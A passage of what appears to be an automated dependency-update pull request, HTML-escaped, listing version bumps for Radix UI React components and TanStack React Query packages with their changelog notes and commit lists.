changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.4.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eFixed a bug where updating a \u003ccode\u003eCheckbox\u003c/code\u003e, \u003ccode\u003eSwitch\u003c/code\u003e, or \u003ccode\u003eRadioGroup\u003c/code\u003e value programmatically (eg. a \u0026quot;select all\u0026quot; control) while inside a \u003ccode\u003e\u0026lt;form\u0026gt;\u003c/code\u003e would dispatch a \u003ccode\u003eclick\u003c/code\u003e event from the hidden bubble input that propagated to ancestor \u003ccode\u003eonClick\u003c/code\u003e handlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.16\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-size@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/radio-group\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-scroll-area` from 1.2.14 to 1.2.15\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/scroll-area/CHANGELOG.md\"\u003e@​radix-ui/react-scroll-area's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.2.15\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/number@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-callback-ref@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/scroll-area\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-separator` from 1.1.11 to 1.1.12\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/separator/CHANGELOG.md\"\u003e@​radix-ui/react-separator's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.12\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/separator\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-slider` from 1.4.3 to 1.4.4\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/slider/CHANGELOG.md\"\u003e@​radix-ui/react-slider's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.4.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed a bug where \u003ccode\u003eonValueCommit\u003c/code\u003e was not called when a slider thumb was dragged across another thumb.\u003c/li\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/number@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-previous@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-size@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/slider\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-switch` from 1.3.3 to 1.3.4\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/switch/CHANGELOG.md\"\u003e@​radix-ui/react-switch's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.3.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eFixed a bug where updating a \u003ccode\u003eCheckbox\u003c/code\u003e, \u003ccode\u003eSwitch\u003c/code\u003e, or \u003ccode\u003eRadioGroup\u003c/code\u003e value programmatically (eg. a \u0026quot;select all\u0026quot; control) while inside a \u003ccode\u003e\u0026lt;form\u0026gt;\u003c/code\u003e would dispatch a \u003ccode\u003eclick\u003c/code\u003e event from the hidden bubble input that propagated to ancestor \u003ccode\u003eonClick\u003c/code\u003e handlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-size@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/switch\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-tabs` from 1.1.17 to 1.1.18\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/tabs/CHANGELOG.md\"\u003e@​radix-ui/react-tabs's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.16\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/tabs\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-toast` from 1.2.19 to 1.2.20\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/toast/CHANGELOG.md\"\u003e@​radix-ui/react-toast's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.2.20\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eToast\u003c/code\u003e removing non-focused toasts when pressing \u003ccode\u003eEscape\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.16\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.14\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-visually-hidden@1.2.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-callback-ref@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/toast\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-toggle` from 1.1.14 to 1.1.15\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/toggle/CHANGELOG.md\"\u003e@​radix-ui/react-toggle's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.15\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/toggle\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-toggle-group` from 1.1.15 to 1.1.16\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/toggle-group/CHANGELOG.md\"\u003e@​radix-ui/react-toggle-group's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-roving-focus@1.1.16\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-toggle@1.1.15\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/toggle-group\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-tooltip` from 1.2.12 to 1.2.13\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/tooltip/CHANGELOG.md\"\u003e@​radix-ui/react-tooltip's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.2.13\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed a bug where \u003ccode\u003eTooltip.Content\u003c/code\u003e children were mounted to the DOM twice.\u003c/li\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-popper@1.3.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.16\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.14\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-visually-hidden@1.2.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-slot@1.3.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/tooltip\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@tanstack/react-query` from 5.101.2 to 5.101.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/query/releases\"\u003e@​tanstack/react-query's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-next-experimental\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-persist-client\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-persist-client-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/7e3c822a10896f41a8f1031c16b85096277af677\"\u003e\u003ccode\u003e7e3c822\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/query/blob/main/packages/react-query/CHANGELOG.md\"\u003e@​tanstack/react-query's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.101.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/7e3c822a10896f41a8f1031c16b85096277af677\"\u003e\u003ccode\u003e7e3c822\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/181ea826cb5b5f722a774525046d8f4e105dd6bb\"\u003e\u003ccode\u003e181ea82\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/11089\"\u003e#11089\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/6d55b0759b4722b888fa516b1bb86c0a56ea47a2\"\u003e\u003ccode\u003e6d55b07\u003c/code\u003e\u003c/a\u003e test({react,preact}-query): use the '.then()' convention consistently (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/11085\"\u003e#11085\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/44f38df5deaf72d8d74bc62b620dffed43fdbc05\"\u003e\u003ccode\u003e44f38df\u003c/code\u003e\u003c/a\u003e test({react,preact,solid}-query/useInfiniteQuery): inline the shared 'fetchIt...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/d1558c1491629b36661e0a166e1091bb4a256daa\"\u003e\u003ccode\u003ed1558c1\u003c/code\u003e\u003c/a\u003e test({react,preact}-query/usePrefetchQuery): inline the 'generateQueryFn' fac...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/99690d18b7937f217d3744b1c2ac78cc47caeaa7\"\u003e\u003ccode\u003e99690d1\u003c/code\u003e\u003c/a\u003e test({react,preact}-query/usePrefetchInfiniteQuery): inline single-use helper...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/10770f0720dacae3a26701a747e33abd6bafbf8a\"\u003e\u003ccode\u003e10770f0\u003c/code\u003e\u003c/a\u003e test({react,preact}-query/usePrefetchInfiniteQuery): inline the shared 'Suspe...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/dbd5a86e95284387bc3f172208bc52c0053a1bb2\"\u003e\u003ccode\u003edbd5a86\u003c/code\u003e\u003c/a\u003e test({react,preact}-query/usePrefetchQuery): inline the shared 'Suspended' co...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/b955f60d7965cc521df6ee8b1ce91b3d0e8c046d\"\u003e\u003ccode\u003eb955f60\u003c/code\u003e\u003c/a\u003e test({react,preact}-query/useSuspenseQuery): assert the 'loading' fallback is...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/b9c657e20b1ac1078ab265de8fc691aec192e143\"\u003e\u003ccode\u003eb9c657e\u003c/code\u003e\u003c/a\u003e test({react,preact}-query/usePrefetchQuery): assert the 'Loading...' fallback...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/79d2384db5c8776680d5bfbe9b595618c066248b\"\u003e\u003ccode\u003e79d2384\u003c/code\u003e\u003c/a\u003e docs(*): fix 'homogenous', 'stoage', 'supressed', 'compoennts' spelling typos...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/TanStack/query/commits/@tanstack/react-query@5.101.3/packages/react-query\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@tanstack/react-query-devtools` from 5.101.2 to 5.101.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/query/releases\"\u003e@​tanstack/react-query-devtools's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca 